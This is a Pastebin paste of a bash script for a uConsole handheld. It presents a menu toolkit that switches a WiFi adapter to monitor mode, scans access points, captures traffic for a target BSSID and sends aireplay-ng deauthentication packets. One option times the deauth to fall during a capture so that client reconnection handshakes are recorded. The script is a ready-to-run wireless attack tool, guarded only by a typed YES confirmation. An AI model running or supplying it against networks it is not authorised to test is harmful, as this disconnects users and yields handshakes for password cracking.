numloxx

uConsole wifi script

May 27th, 2026
13,118
0
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.77 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # ============================================================
  4. # USER SETTINGS
  5. # Change these to suit your own setup
  6. # ============================================================
  7.  
  8. IFACE="wlan1" # WiFi adapter used for monitor mode
  9. CAPTURE_DIR="$HOME/wifi/captures" # Folder to save captures
  10.  
  11. DEFAULT_WAIT_TIME=8 # Seconds before deauth in option 6
  12. DEFAULT_DEAUTH_COUNT=10 # Default number of deauth packets
  13.  
  14. SCRIPT_TITLE="uConsole WiFi Toolkit"
  15.  
  16. # ============================================================
  17. # SCRIPT START
  18. # ============================================================
  19.  
  20. pause() {
  21. echo
  22. read -p "Press Enter to continue..."
  23. }
  24.  
  25. while true; do
  26. clear
  27. echo "$SCRIPT_TITLE"
  28. echo "===================="
  29. echo "Current interface: $IFACE"
  30. echo "Capture folder: $CAPTURE_DIR"
  31. echo
  32. echo "1) Set $IFACE to monitor mode using iw"
  33. echo "2) Set $IFACE to monitor mode using airmon-ng"
  34. echo "3) Scan access points"
  35. echo "4) Capture BSSID/channel only"
  36. echo "5) Deauth test only"
  37. echo "6) Capture and deauth"
  38. echo "7) Show wireless interfaces"
  39. echo "0) Exit"
  40. echo
  41. read -p "Choose an option: " choice
  42.  
  43. case "$choice" in
  44. 1)
  45. sudo ip link set "$IFACE" down
  46. sudo iw dev "$IFACE" set type monitor
  47. sudo ip link set "$IFACE" up
  48. iw dev
  49. pause
  50. ;;
  51.  
  52. 2)
  53. sudo airmon-ng start "$IFACE"
  54. pause
  55. ;;
  56.  
  57. 3)
  58. echo "Scanning on $IFACE. Press Ctrl+C to stop."
  59. sleep 2
  60. sudo airodump-ng "$IFACE"
  61. pause
  62. ;;
  63.  
  64. 4)
  65. read -p "Enter BSSID: " BSSID
  66. read -p "Enter channel: " CHANNEL
  67.  
  68. mkdir -p "$CAPTURE_DIR"
  69.  
  70. sudo airodump-ng \
  71. -w "$CAPTURE_DIR/capture" \
  72. -c "$CHANNEL" \
  73. --bssid "$BSSID" \
  74. "$IFACE"
  75.  
  76. pause
  77. ;;
  78.  
  79. 5)
  80. read -p "Enter BSSID: " BSSID
  81. read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT
  82. DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}
  83.  
  84. echo
  85. echo "Only continue if this is your own network or an authorised test."
  86. read -p "Type YES to continue: " confirm
  87.  
  88. if [ "$confirm" = "YES" ]; then
  89. sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"
  90. else
  91. echo "Cancelled."
  92. fi
  93.  
  94. pause
  95. ;;
  96.  
  97. 6)
  98. read -p "Enter BSSID: " BSSID
  99. read -p "Enter channel: " CHANNEL
  100. read -p "Seconds before deauth? Default $DEFAULT_WAIT_TIME: " WAIT_TIME
  101. read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT
  102.  
  103. WAIT_TIME=${WAIT_TIME:-$DEFAULT_WAIT_TIME}
  104. DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}
  105.  
  106. echo
  107. echo "Only continue if this is your own network or an authorised test."
  108. read -p "Type YES to continue: " confirm
  109.  
  110. if [ "$confirm" != "YES" ]; then
  111. echo "Cancelled."
  112. pause
  113. continue
  114. fi
  115.  
  116. mkdir -p "$CAPTURE_DIR"
  117.  
  118. echo
  119. echo "[+] Starting capture on $IFACE..."
  120. echo "[+] Press Ctrl+C to stop capture when done."
  121. echo
  122.  
  123. sudo airodump-ng \
  124. -w "$CAPTURE_DIR/capture" \
  125. -c "$CHANNEL" \
  126. --bssid "$BSSID" \
  127. "$IFACE" &
  128.  
  129. AIRO_PID=$!
  130.  
  131. sleep "$WAIT_TIME"
  132.  
  133. echo
  134. echo "[+] Sending deauth packets..."
  135. sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"
  136.  
  137. echo
  138. echo "[+] Capture is still running."
  139. echo "[+] Press Ctrl+C to stop it."
  140.  
  141. wait "$AIRO_PID"
  142. pause
  143. ;;
  144.  
  145. 7)
  146. iw dev
  147. pause
  148. ;;
  149.  
  150. 0)
  151. exit 0
  152. ;;
  153.  
  154. *)
  155. echo "Invalid option."
  156. sleep 1
  157. ;;
  158. esac
  159. done
Advertisement